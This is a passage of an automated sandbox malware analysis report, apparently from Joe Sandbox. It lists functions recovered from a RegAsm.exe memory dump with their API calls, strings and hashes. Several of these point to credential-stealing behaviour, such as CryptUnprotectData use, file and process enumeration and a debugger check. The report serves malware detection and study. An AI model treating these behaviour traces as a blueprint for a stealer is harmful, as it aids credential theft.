Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: b641c36dcbe642b9c87fd7d2aa1787ad06c513d5b20f32966b0821658141bab0
Instruction ID: c6306bd3c9db837ca22bf811b4dc293e3d61997c094f6f04bf3b71cb7d88404f
Opcode Fuzzy Hash: b641c36dcbe642b9c87fd7d2aa1787ad06c513d5b20f32966b0821658141bab0
Instruction Fuzzy Hash: 27E13071912118AADB14FB61DC56EEE7338AF50314F4041EEB40B62092EE786FD9CF5A

Function 0040DC50 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00420C19), ref: 0040DC9E
StrCmpCA.SHLWAPI(?,0042146C), ref: 0040DCEE
StrCmpCA.SHLWAPI(?,00421470), ref: 0040DD04
FindNextFileA.KERNEL32(000000FF,?), ref: 0040E220
FindClose.KERNEL32(000000FF), ref: 0040E232

Strings

t@, xrefs: 0040DC72, 0040E240, 0040DD33, 0040DCB5, 0040DD36
\*.*, xrefs: 0040DC66

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*$t@
API String ID: 2325840235-663382066
Opcode ID: f1ca848d7988d7fd75b545473e61763f3332d63cfed14334e254e43c62b8fdf1
Instruction ID: e9223715fb7ea1854cb62e564a6307543a1272858c9b536fbbbe29962c1fc9f0
Opcode Fuzzy Hash: f1ca848d7988d7fd75b545473e61763f3332d63cfed14334e254e43c62b8fdf1
Instruction Fuzzy Hash: 3EF1FE71915118AACB15FB61DC95AEEB338AF24314F8041DFB40A62091EF782BD9CF5A

Function 6CA62C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CA62C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CA62C61

Part of subcall function 6CA14DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA14E5A
Part of subcall function 6CA14DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA14E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA62C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CA62E2D

Part of subcall function 6CA281B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CA281DE

Strings

ProfileBuffer parse error: %s, xrefs: 6CA62E3B
expected a Time entry, xrefs: 6CA62E36
(root), xrefs: 6CA6354F

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 2c9b876af2bb62f7bdcc085d2273769b250f95ab2d8e9e611573111266feec02
Instruction ID: 1cd5b9435e61ebace191cd032bf1abc0e3350af4039003b1d0c187997ff6dc7f
Opcode Fuzzy Hash: 2c9b876af2bb62f7bdcc085d2273769b250f95ab2d8e9e611573111266feec02
Instruction Fuzzy Hash: 8991D2706097418FC724CF29C49469FB7F1EF8A358F148A1DE59A87B90DB30D98ACB52

Function 6CA1D4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6CA1DC08
0, xrefs: 6CA1D852
, xrefs: 6CA1DA88
1, xrefs: 6CA1DBDD
9, xrefs: 6CA1DE7F
0, xrefs: 6CA1DC7F
-, xrefs: 6CA1D7DD
@, xrefs: 6CA1DAF6

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 79c8b2bf4ce405c01c24ba428496b80bba1822d8a82ad89635eba20345da7992
Instruction ID: c24c3da01c177257a990175f6534574ea847679619936373c0f82d21ee0d2468
Opcode Fuzzy Hash: 79c8b2bf4ce405c01c24ba428496b80bba1822d8a82ad89635eba20345da7992
Instruction Fuzzy Hash: 4262BC71A0D3858FD706CF29C49075ABBF2AF86368F184A0DE4E54BE91D33599C5CB82

Function 00409B10 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B3F
LocalAlloc.KERNEL32(00000040,?,?,?,00404F3E,00000000,?), ref: 00409B51
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>O@,00000000,00000000), ref: 00409B7A
LocalFree.KERNEL32(?,?,?,?,00404F3E,00000000,?), ref: 00409B8F

Strings

>O@, xrefs: 00409B24, 00409B31, 00409B49, 00409B68, 00409B34, 00409B6B

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: >O@
API String ID: 4291131564-3498640338
Opcode ID: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction ID: 421755d6b48e33095a5169d11db47f4caeee54bd02e7bdd1b67a963d2e3b7d6d
Opcode Fuzzy Hash: 51d6155b46c97a52efa385d52040a93a20dc9faff1265f51667d84e9c93c90dd
Instruction Fuzzy Hash: 7F11C074240308AFEB10CF64CC95FAA77B6FB89710F208059F9199B3D0C7B5A942CB54

Function 6CA1BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA1C1CB
__aulldiv.LIBCMT ref: 6CA1C24C
__aulldiv.LIBCMT ref: 6CA1C348
__aullrem.LIBCMT ref: 6CA1C365
__aulldiv.LIBCMT ref: 6CA1C37D

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 02be54a1e8abd221982cc3407da78a65f732939796d4d96c70007b2132abde0e
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 23323632B086118FC718DE2CC890A56BBE6AFC9314F09867DE899CB795D734ED05CB91

Function 0041ACFA Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041B562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041B577
UnhandledExceptionFilter.KERNEL32(0041F298), ref: 0041B582
GetCurrentProcess.KERNEL32(C0000409), ref: 0041B59E
TerminateProcess.KERNEL32(00000000), ref: 0041B5A5

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction ID: e298f46f0b3396334d2e2e37c4a67069ca1d3d313a6b9180192500d6cd60c5fb
Opcode Fuzzy Hash: f83f28cb76d01a588ba20aedf737648f300cf2348463cefc92e4954df8d9d801
Instruction Fuzzy Hash: 2F21D678600214DFD720EF59F9D4AA97BB5FB08314F90803AE809D7261E7B46586CF9D

Function 00407280 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0), ref: 0040728D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407294
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 004072C1
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407CD0,80000001,00415CA4), ref: 004072E4
LocalFree.KERNEL32(?,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 004072EE

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction ID: 878b0d7115cd8d43870734417daae2c605d8a0a5a409213b4f7418bdd2279ebf
Opcode Fuzzy Hash: 5915e9d016c50e8c8afbc1db5a49932ad24ad0ff49fd5d82b8f52955bd254427
Instruction Fuzzy Hash: 31014071A40208BBDB10DF94CC46F9E7779BB44700F204055FB05BB2D0D6B0AA019BA9

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00413230 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0041E108,00000000,00000001,0041E0F8,00000000), ref: 00413268
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 004132C0

Strings

4A, xrefs: 0041324D, 004133A4, 004133A7

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID: 4A
API String ID: 123533781-1589646957
Opcode ID: 0cb10242d23e0f6bd18ff2b4dda732a484f2fdbc3246b87c2779a699a1b38317
Instruction ID: d515ef2dbe62f6a372dceb86dba0fc776c2d51cdb44c7111863d54e8f2845d40
Opcode Fuzzy Hash: 0cb10242d23e0f6bd18ff2b4dda732a484f2fdbc3246b87c2779a699a1b38317
Instruction Fuzzy Hash: A541E674A00A2C9FDB24DF58CC94BDBB7B5AB48702F4081C9AA18E7290D7716EC5CF54

Function 6CA8545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA88A4B

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 48967a2854533b29b287f79d9b034592b0e8d74e927fbb74c1a0e76fdd28be4d
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: B2B1E972E0121A8FDB14CF68CD907E9B7B2EF85314F1802A9C549EB785D73099C9CB90

Function 6CA8542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CA888F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CA8925C

Memory Dump Source

Source File: 00000006.00000002.2222385545.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000006.00000002.2222364881.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222523225.000000006CA8D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222559301.000000006CA9E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2222588024.000000006CAA2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6ca10000_RegAsm.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: b9497e8f7b649d5ca20a415a18526cf39dbdaf19329ea07ed4728251f6ece5c4
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: EDB1B672E0520A8FDB14CF68C9816EDB7B2EF85314F190279C949EB785D730A9D9CB90

Function 00418940 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,004051D4,40000001,00000000,00000000,?,004051D4), ref: 00418960

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction ID: 8551c2f8eff3d936ade43cc3e5b46360b1bd8edc09fa8c17659182bc6519fa86
Opcode Fuzzy Hash: 3aec6097f2b6cc18e3a50b756b1644abdcd7f84ae5ce4698d77b00bdd9d6955c
Instruction Fuzzy Hash: DF1118B5220209FFDB14CF54D884FBB37A9AF99314F109549F9098B250DB79EC82CB69

Function 00417420 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DD0,00000000,?), ref: 00417450
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DD0,00000000,?), ref: 00417457
GetLocalTime.KERNEL32(?,?,?,?,?,00420DD0,00000000,?), ref: 00417464
wsprintfA.USER32 ref: 00417493

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: 5f2f51bfbe90337ca5e895f9776451138895015e5f3a8196a904fc3d9a46e3df
